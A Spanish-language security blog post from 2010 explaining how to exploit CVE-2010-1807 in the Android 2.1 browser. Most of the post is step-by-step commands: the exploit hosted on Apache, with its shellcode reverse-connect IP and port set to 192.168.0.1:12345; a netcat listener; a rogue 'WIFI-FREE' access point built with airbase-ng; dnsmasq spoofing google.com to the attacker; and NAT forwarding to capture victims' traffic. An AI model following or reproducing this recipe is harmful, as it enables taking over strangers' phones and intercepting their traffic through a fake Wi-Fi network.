jueves, 2 de diciembre de 2010

Explotando Android vía Web con airbase-ng

Recientemente se publicó una vulnerabilidad en WebKit (CVE-2010-1807), utilizado por Safari y Chrome, que también afecta al browser de los móviles con Android.


La vulnerabilidad fue descubierta por M.J. Keith, quien también publicó un exploit durante una conferencia en Houston, y luego Itzhak Avraham, realizó algunas mejoras sobre el mismo para darle un mayor grado de éxito a la explotación.

Esta vulnerabilidad afecta a móviles Android versión 2.1 e inferiores, si bien la ultima versión 2.2 no esta afectada, no todos los fabricantes de móviles u operadores de telefonía, obligan a sus usuarios a actualizar el software.

Por ejemplo, en mi caso estoy usando un Motorola Milestone con Android 2.1-update1, y si bien la versión 2.2 esta disponible hace ya un buen tiempo, Motorola recién comenzará a realizar upgrades para Milestone en Latinoamérica en el primer trimestre del 2011.

Una vergüenza por parte de fabricantes y operadores!


Explotando Android

Para explotar esta vulnerabilidad, el móvil con Android debería visitar un sitio Web que posea el código malicioso.

Podríamos hacer esto en Internet, o como lo vamos a hacer a continuación, levantar un Access Point falso para darle Internet a personas con móviles, y cuando realicen una solicitud especifica de DNS, redirigirlos a una Web local con el código malicioso.

1. Preparando el Exploit

Bajamos el exploit y lo dejamos en el home de Apache con el nombre "index.html":

nano /var/www/index.html

/etc/init.d/apache2 start


En las primeras líneas del exploit mejorado por Itzhak podemos encontrar la posibilidad de fácilmente cambiar la dirección IP y el puerto en el shellcode:


var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))


En este caso, una vez que la explotación sea exitosa, se va a producir una conexión reversa a la IP "192.168.0.1" en el puerto "12345", por lo que deberíamos dejar escuchando Netcat en ese puerto:

nc -l -p 12345 -n -vvv
listening on [any] 12345 ...


2. Preparando el Access Point Falso

Con lo hecho en el paso anterior, ya estaríamos en condición de atacar exitosamente a una víctima si utilizáramos una dirección IP pública en Internet.

Pero la idea a continuación, es levantar un Access Point falso con airodump-ng para que las personas con móviles se asocien a el en busca de Internet gratis, y cuando realicen un pedido DNS especifico lo reenviemos a nuestro Apache con el código malicioso.

Primero vamos a configurar Dnsmasq, quien nos va a proveer el servicio de DNS y de DHCP para nuestro Access Point falso. Si no lo tenemos instalado, lo podemos hacer de la siguiente forma:

apt-get install dnsmasq
/etc/init.d/dnsmasq stop


Luego debemos asegurarnos de configurar en que interfaz de red va a escuchar Dnsmasq, configurar el rango de direcciones IP que entregará a las víctimas, y cual será el dominio que será redireccionado a nuestros Apache con el exploit, en este caso "google.com":

nano /etc/dnsmasq.conf
interface=at0
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1
/etc/init.d/dnsmasq start


Si tenemos Internet, seria una buena idea forwardear todo el trafico para que la víctima crea que esta en una red Wireless común y corriente, y de paso tenemos la posibilidad de capturar algo de trafico:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE


Finalmente levantamos el Access Point falso con airabase-ng, y configuramos la interfaz de red "at0", creada por airbase-ng, con la dirección IP a donde se realizará la conexión reversa:

airbase-ng -C 30 --essid "WIFI-FREE" wlan0  
ifconfig at0 192.168.0.1 netmask 255.255.255.0 up


En este caso, la red se llama "WIFI-FREE", aunque podríamos realizar otra variedad de ataques similares.


3. Atacando a la Víctima

Por mi experiencia con el Motorola Milestone, cuando encendemos la placa Wireless del móvil, hay que detectar las redes en el área, y conectarnos manualmente a la que queremos, mas halla de que este abierta y sin cifrado. Luego de hacer esto, la siguiente vez lo hace automáticamente.

Cuando la víctima esta conectada, el trafico de red pasara normalmente hasta que quiera ingresar a "www.google.com", en donde será redirigido a nuestro Apache y obtendremos una conexión reversa en el Netcat que dejamos escuchando:


Una vez que recibimos la conexión reversa podemos ejecutar comandos de Android como "/system/bin/id" o "/system/bin/ps" para verificar que efectivamente pudimos acceder al dispositivo.


Info relacionada:
- Exploit original por M.J. Keith
- Exploit modificado por Itzhak Avraham

Posts relacionados:
- Karmetasploit en BackTrack 4
- Jugando con AirPcap


Publicado por Leonardo Pigñer en www.KUNGFOOSION.com

No hay comentarios.:

LinkWithin